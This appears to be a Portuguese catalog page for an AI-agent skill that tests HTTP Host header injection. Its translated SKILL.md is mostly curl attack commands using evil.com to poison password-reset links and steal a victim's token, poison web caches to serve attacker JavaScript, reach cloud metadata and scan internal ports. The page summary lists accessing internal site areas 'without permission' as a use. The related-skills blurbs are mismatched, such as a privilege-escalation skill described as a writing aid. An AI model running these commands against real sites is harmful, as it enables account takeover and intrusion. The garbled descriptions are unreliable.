testing-for-host-header-injection
Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.
O que ela faz
Esta ferramenta testa se um site pode ser enganado pelo cabeçalho 'Host' em uma requisição HTTP. Isso pode ser usado para roubar senhas, manipular o cache do site ou acessar áreas restritas.
Quando usar
- ✓Ao testar a recuperação de senhas de um site.
- ✓Ao verificar como o cache de um site funciona.
- ✓Ao tentar acessar partes internas de um site sem permissão.
Exemplo do que pedir para a IA
“Verifique se o site é vulnerável a ataques no cabeçalho 'Host'.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia requisições modificadas para o site, alterando o valor do cabeçalho 'Host'. Ela observa se o site responde de forma inesperada, indicando uma possível falha de segurança.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-host-header-injectionOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-host-header-injection/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Injeção de Cabeçalho Host
Quando Usar
- Ao testar a funcionalidade de redefinição de senha para roubo de tokens via manipulação de host
- Durante a avaliação do comportamento de cache da web influenciado por valores do cabeçalho Host
- Ao testar o roteamento de host virtual e o processamento do lado do servidor
- Durante testes de penetração de aplicações atrás de proxies reversos ou balanceadores de carga
- Ao avaliar o potencial de SSRF através da manipulação do cabeçalho Host
Pré-requisitos
- Burp Suite para interceptar e modificar cabeçalhos Host
- Compreensão do papel do cabeçalho Host HTTP em hospedagem virtual e roteamento
- Conhecimento de cabeçalhos host alternativos (X-Forwarded-Host, X-Host, X-Original-URL)
- Acesso a um domínio controlado pelo atacante para receber requisições envenenadas
- Burp Collaborator ou interact.sh para detecção out-of-band
- Múltiplas contas de teste para testes de redefinição de senha
Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Etapa 1 — Testar Injeção Básica de Cabeçalho Host
# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response
# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v
# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v
# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v
# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v
Etapa 2 — Testar Envenenamento de Redefinição de Senha
# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
-H "Host: evil.com" \
-d "email=victim@target.com"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link
# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
-H "X-Forwarded-Host: evil.com" \
-d "email=victim@target.com"
# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
-H "Host: target.com:80@evil.com" \
-d "email=victim@target.com"
# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
curl -X POST http://target.com/forgot-password \
-H "$header: evil.com" \
-d "email=victim@target.com"
echo "Tested: $header"
done
Etapa 3 — Testar Envenenamento de Cache da Web via Cabeçalho Host
# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content
# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached
# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned
# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users
Etapa 4 — Testar SSRF via Cabeçalho Host
# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy
# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/
# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
echo " - Port $port"
done
# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/
Etapa 5 — Testar Enumeração de Host Virtual
# Enumerar hosts virtuais
for vhost in admin staging dev test api internal backend; do
status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
…
Perguntas frequentes
O que é o cabeçalho 'Host'?
É uma parte da requisição que diz ao servidor qual site específico você quer acessar, especialmente quando um servidor hospeda vários sites.
O que é 'Password Reset Poisoning'?
É quando um atacante consegue fazer com que o link de redefinição de senha enviado para a vítima aponte para um site controlado pelo atacante, roubando o token de redefinição.
O que é 'Web Cache Poisoning'?
É quando um atacante engana o sistema de cache do site para que ele armazene uma versão maliciosa de uma página, que será servida a todos os visitantes.
Detalhes
Descrição original do autor
Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6222
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC